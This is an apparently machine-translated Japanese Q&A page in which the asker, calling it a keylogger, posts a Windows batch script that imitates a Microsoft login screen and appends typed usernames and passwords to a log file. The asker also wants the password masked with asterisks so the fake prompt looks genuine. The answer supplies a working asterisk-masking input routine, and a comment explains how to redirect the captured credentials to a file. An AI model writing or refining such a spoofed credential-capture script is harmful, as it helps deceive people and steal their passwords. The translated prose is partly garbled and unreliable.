2017-12-07 7 views
0

を置き換える:Kelogger/pasowrd asterrix私はキーロガーをしたいと思い、私はパスワードが上のログのようにそのアスタリスクに見えるようにしたい

@echo off 
mode con: cols=10000 lines=300 
color a 
title Login 
cls 
echo LOGIN ERROR 
ver 
echo (c) 2017 Microsoft Corporation. All rights reserved. 
echo. 
cd “C:Logs” 
set /p user=Username: 
set /p pass=Password: 
echo Username=”%user%” Password=”%pass%” >> Log.txt 
start open2.bat 
exit 

私はそれが本当の私が探して試してみました見て期待していますが、すべての私は、デスクトップ

のためにそれをしたい画面上のログ用ですが、ちょうど私が、これはここにStackOverflowの上に重複する質問です知っているが、私はそれを見つけることができません何のアスタリスク

+0

何か:https://stackoverflow.com/a/22282223/1417694 – Squashman

答えて

0

テキストが見つかりません。私はDosTips.comでもこのコードを見つけたかもしれません。元のリンクを見つけたら、質問を更新します。

これは、パスワード入力をアスタリスクでマスクするために探しているコードです。このような

@echo off &setlocal 

:username 
cls 
SET "username=" 
SET /P "username=Enter your username:" 
IF NOT DEFINED username GOTO username 

:password 
cls 
<nul set /p "=Enter your password: " 
call :HInput password 
IF NOT DEFINED password GOTO password 

setlocal EnableDelayedExpansion 
echo user:%username% pass:!password! 
pause 
goto :eof 


:HInput [ByRef_VarName] 
:: inspired by Carlos 
:: improved by pieh-ejdsch 
if "%__HI__%" neq "__HI__" (
    setlocal DisableDelayedExpansion 
    set "S=" &set "N=0" &set "__HI__=__HI__" 
    for /f %%i in ('"prompt;$h&for %%i in (1) do rem"') do set "BS=%%i" 
) 
set "C=" 
for /f "eol=1 delims=" %%i in ('xcopy /lwq "%~f0" :\') do set "C=%%i" 
set "C=%C:~-1%" 
setlocal EnableDelayedExpansion 
if not defined C (
    echo(
    if "%~1"=="" (
    echo(!S! 
    endlocal &endlocal &exit /b %N% 
) else (
    if defined S (
     for /f delims^=^ eol^= %%i in ("!S!") do endlocal &endlocal &set "%~1=%%i" &exit /b %N% 
    ) else endlocal &endlocal &set "%~1=" &exit /b 0 
) 
) 
if "!BS!"=="!C!" (
    set "C=" 
    if defined S set /a "N -= 1" &set "S=!S:~,-1!" &<nul set /p "=%BS% %BS%" 
) else set /a "N += 1" &<nul set /p "=*" 
if not defined S (
    endlocal &set "N=%N%" &set "S=%C%" 
) else for /f delims^=^ eol^= %%i in ("!S!") do endlocal &set "N=%N%" &set "S=%%i%C%" 
goto HInput 
+0

@hipoo、あなたのコード例でそれをやっているのと同じ方法。 [リダイレクト](http://www.robvanderwoude.com/redirection.php)で。 – Squashman

関連する問題